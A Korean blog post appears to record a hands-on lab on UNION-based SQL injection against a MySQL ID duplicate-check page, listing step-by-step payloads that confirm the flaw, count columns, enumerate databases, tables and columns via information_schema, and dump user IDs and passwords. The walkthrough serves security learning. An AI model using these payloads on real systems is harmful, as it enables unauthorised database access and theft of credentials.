Oh! JUN
UNION-BASED 공격이 가능한 아이디 중복 조회 기능에 대한 공격 실습 본문
1. 취약점 확인


- '(작은 따움표) 조회
- 오류 발생

- admi' 'n
- mysql에서는 ' '사이는 자동으로 연결해주는 역할을 한다.
- 그래서 쿼리문을 통해 작동된다는걸 알 수 있다.
2. 컬럼 개수 확인(order by)


| ' order by 1# | 정상 출력 |
| ' order by 2# | 정상 출력 |
| ' order by 3# | 에러 발생 |
| ' order by 4# | 에러 발생 |
| ' order by 5# | 에러 발생 |
- order by 3 이후로 에러가 발생해서 컬럼 개수는 2개 임을 알 수 있다.
3. 출력할 컬럼 위치 확인(union all)

' union all select 'test', null#
- 첫번째 컬럼에 'test' 입력하니까 웹 화면에 출력되는걸 확인할 수 있다.
- 이제 여기에 각종 정보들을 출력시킬 것이다.

' union all select (version()), null#
- DB 버전 정보

' union all select (system_user()), null#
- DB 계정 정보

' union all select (database()), null#
- DB 이름 정보
4. DB 목록화

' union all select count(*), null from information_schema.schemata#
- DB 개수

' union all select schema_name, null from information_schema.schemata limit 7,1#
- DB 이름 순차적 레코드
5. Table 목록화

' union all select count(*), null from information_schema.tables where table_schema='login_example'#
- 'login_example' DB의 테이블 개수

' union all select table_name, null from information_schema.tables where table_schema='login_example' limit 0,1#
- 'login_example' DB의 1행 테이블 목록
6. 컬럼 목록화

' union all select count(*), null from information_schema.columns where table_schema='login_example' and table_name='member'#
- 'login_example' DB의 'member'의 Table의 컬럼 개수

' union all select column_name, null from information_schema.columns where table_schema='login_example' and table_name='member' limit 0,1#
- 첫번째 컬럼 'id'

' union all select column_name, null from information_schema.columns where table_schema='login_example' and table_name='member' limit 1,1#
- 두번째 컬럼 'pw'
7. 테이터 조회

' union all select count(*), null from login_example.member#

' union all select concat(id, '###', pw), null from login_example.member limit 0,1#
- 첫번째 데이터

' union all select concat(id, '###', pw), null from login_example.member limit 1,1#
- 두번째 데이터
'웹 해킹 > SQL Injection' 카테고리의 다른 글
| 데이터 추론 기법(아스키코드) 실습 (0) | 2022.08.30 |
|---|---|
| 데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용) (0) | 2022.08.30 |
| ORACLE UNION-BASED 공격 실습 (0) | 2022.08.27 |
| MYSQL UNION-BASED 공격 실습, 목록과 상세보기의 기능적 차이 (0) | 2022.08.26 |
| ORDER BY , UNION 구문 실행 확인 실습 (0) | 2022.08.25 |